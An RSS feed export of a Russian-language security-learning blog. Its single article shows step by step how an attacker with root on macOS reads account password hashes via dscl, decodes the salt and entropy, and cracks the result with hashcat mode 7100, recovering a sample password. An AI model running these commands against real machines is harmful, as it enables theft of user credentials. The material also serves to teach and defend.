<?xml version="1.0" encoding="utf-8" ?><rss version="2.0" xmlns:tt="http://teletype.in/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/"><channel><title>maikeru</title><generator>teletype.in</generator><description><![CDATA[Учусь информационной безопасности, пишу статьи]]></description><image><url>https://img2.teletype.in/files/15/f3/15f3950f-e279-4812-afaf-a5d4840779e2.png</url><title>maikeru</title><link>https://teletype.in/@maikeru</link></image><link>https://teletype.in/@maikeru?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=maikeru</link><atom:link rel="self" type="application/rss+xml" href="https://teletype.in/rss/maikeru?offset=0"></atom:link><atom:link rel="next" type="application/rss+xml" href="https://teletype.in/rss/maikeru?offset=10"></atom:link><atom:link rel="search" type="application/opensearchdescription+xml" title="Teletype" href="https://teletype.in/opensearch.xml"></atom:link><pubDate>Sat, 24 Oct 2026 06:55:20 GMT</pubDate><lastBuildDate>Sat, 24 Oct 2026 06:55:20 GMT</lastBuildDate><item><guid isPermaLink="true">https://teletype.in/@maikeru/fUEghCrXlBD</guid><link>https://teletype.in/@maikeru/fUEghCrXlBD?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=maikeru</link><comments>https://teletype.in/@maikeru/fUEghCrXlBD?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=maikeru#comments</comments><dc:creator>maikeru</dc:creator><title>Захват и взлом хешей MacOs</title><pubDate>Fri, 27 Jan 2023 17:45:43 GMT</pubDate><media:content medium="image" url="https://img2.teletype.in/files/57/34/57345b48-6cd2-49f3-82ca-2ef76100d706.png"></media:content><description><![CDATA[<img src="https://img3.teletype.in/files/6f/be/6fbe7eab-886a-4e57-b14c-3a428e9f09ed.png"></img>На кратком примере хочу показать как злоумышленник может получить хэши с компьютера MacOs, преобразовать их в формат удобный для hashcat для последующего подбора по словарю.]]></description><content:encoded><![CDATA[
  <p id="m7OF">На кратком примере хочу показать как злоумышленник может получить хэши с компьютера MacOs, преобразовать их в формат удобный для hashcat для последующего подбора по словарю.</p>
  <h2 id="SBmv">Локальная служба каталогов</h2>
  <p id="7htN">Хэши учетный записей MacOS хранятся в локальной службе каталогов. В новых версиях SIP (защита целостности системы) не позволяет root получить прямой доступ к файлам.</p>
  <p id="9ngV">Для обхода этой защиты используется <code>dscl</code> Directory Service command line utility (Утилита командной строки службы каталогов). В качестве root пользователя можно прочитать информацию других учетных записей.</p>
  <section style="background-color:hsl(hsl(0,   0%,  var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="SLNt"><code>sudo dscl . -read /Users/vv</code></p>
  </section>
  <figure id="6CIW" class="m_original">
    <img src="https://img3.teletype.in/files/6f/be/6fbe7eab-886a-4e57-b14c-3a428e9f09ed.png" width="2560" />
    <figcaption>Пример вывода в консоль</figcaption>
  </figure>
  <h2 id="LX0R">Получение хешей</h2>
  <p id="W7uu">Чтобы получить только хэш, можно выполнить команду:</p>
  <section style="background-color:hsl(hsl(0,   0%,  var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="5JQ5"><code>sudo dscl . -read /Users/vv dsAttrTypeNative:ShadowHashData</code></p>
  </section>
  <p id="zoiE">Но это мало что даст, поэтому необходимо преобразовать голые данные в нормальный вид специальной командой:</p>
  <section style="background-color:hsl(hsl(0,   0%,  var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="tXVy"><code>sudo dscl . -read /Users/vv dsAttrTypeNative:ShadowHashData | tail -n 1 | tr -dc &#x27;0-9a-f&#x27; | xxd -p -r | plutil -convert xml1 - -o -</code></p>
  </section>
  <figure id="eGeL" class="m_original">
    <img src="https://img4.teletype.in/files/3f/72/3f729310-e5c1-4ee1-8a0c-208349c08cd2.png" width="2560" />
    <figcaption>Вывод команды в консоли</figcaption>
  </figure>
  <p id="ZAH4">Теперь следующая цель это преобразование данных в шестнадцатеричное представление.</p>
  <p id="mkLz">Для <code>salt</code> это делает просто:</p>
  <section style="background-color:hsl(hsl(0,   0%,  var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="EbHW"><code>echo tjgLeEszPoypyM/YVQfV2QGoY3R45itDmPS0SEbWuuE= | base64 -D | xxd -p | tr -d \\n &gt; salt.txt</code></p>
  </section>
  <p id="6Sit">Для <code>entropy</code> нужно сделать практически тоже самое, но после декодирования base64, нужны будут только первые 64 байта или 512 бит. </p>
  <section style="background-color:hsl(hsl(0,   0%,  var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="UZmI"><code>echo &quot;lKbKQTnIToq9HehWtapdqfvWn+UPSuIozxRJdH/E/88O6qkQEMc1bLCDEUf/O8LiuLVzAoM1rJAiXEbKdgU2+GhFNvWmO3kyCSjJwUkDi9pbp04Cky5KHxrM3+uLHYFwXSq5tpxsUbTptQ4VCpOzifwf9XKq8yKvR+mDG7WoFXs=&quot; | base64 -d | head -c 64 | xxd -p | tr -d \\n &gt; entropy.txt</code></p>
  </section>
  <h2 id="l9Jw">Использование Hashcat для подбора пароля</h2>
  <p id="9EiG">Для удобства можно создать текстовый файл hashcat, для этого нужно объединить найденные хэш данные в одну строку.</p>
  <section style="background-color:hsl(hsl(0,   0%,  var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="DCrw">$ml$&lt;iterations(integer)&gt;$&lt;salt(hex)&gt;$&lt;entropy(hex)&gt;</p>
  </section>
  <p id="V1Y3">В нашем примере это:</p>
  <section style="background-color:hsl(hsl(0,   0%,  var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="e9fm">$ml$147058$b6380b784b333e8ca9c8cfd85507d5d901a8637478e62b4398f4b44846d6bae1$94a6ca4139c84e8abd1de856b5aa5da9fbd69fe50f4ae228cf1449747fc4ffcf0eeaa91010c7356cb0831147ff3bc2e2b8b573028335ac90225c46ca760536f8</p>
  </section>
  <p id="vKWi">Сохраните эту строку в файл с именем hash.txt и используйте его в <code>hashcat</code>. Теперь можно пройтись по хэшу словарем:</p>
  <section style="background-color:hsl(hsl(0,   0%,  var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="sbTL"><code>hascat -m 7100 hash.txt wordlist.txt</code></p>
  </section>
  <figure id="FYGX" class="m_original">
    <img src="https://img2.teletype.in/files/9f/7e/9f7ecdb9-6a84-41aa-a722-0a52e9581748.png" width="906" />
    <figcaption>Вывод команды</figcaption>
  </figure>
  <p id="fAJZ">Пароль успешно подобран! Результатом будет подобранный пароль <code>pass123</code>.</p>
  <h2 id="XDIS">Полезные ссылки</h2>
  <p id="3cuf">Полезные репозитории:</p>
  <p id="u1jS"><a href="https://github.com/octomagon/davegrohl" target="_blank">https://github.com/octomagon/davegrohl</a></p>
  <p id="K1LO">При подготовки этой статьи использовались следующие ресурсы:</p>
  <p id="xZbU"><a href="https://embracethered.com/blog/posts/2022/grabbing-and-cracking-macos-hashes/" target="_blank">https://embracethered.com/blog/posts/2022/grabbing-and-cracking-macos-hashes/</a></p>
  <p id="0Avp"><a href="https://apple.stackexchange.com/questions/220729/what-type-of-hash-are-a-macs-password-stored-in/220863" target="_blank">https://apple.stackexchange.com/questions/220729/what-type-of-hash-are-a-macs-password-stored-in/220863</a></p>
  <p id="LdbV"><a href="https://gist.github.com/teddziuba/3ff08bdda120d1f7822f3baf52e606c2" target="_blank">https://gist.github.com/teddziuba/3ff08bdda120d1f7822f3baf52e606c2</a></p>

]]></content:encoded></item></channel></rss>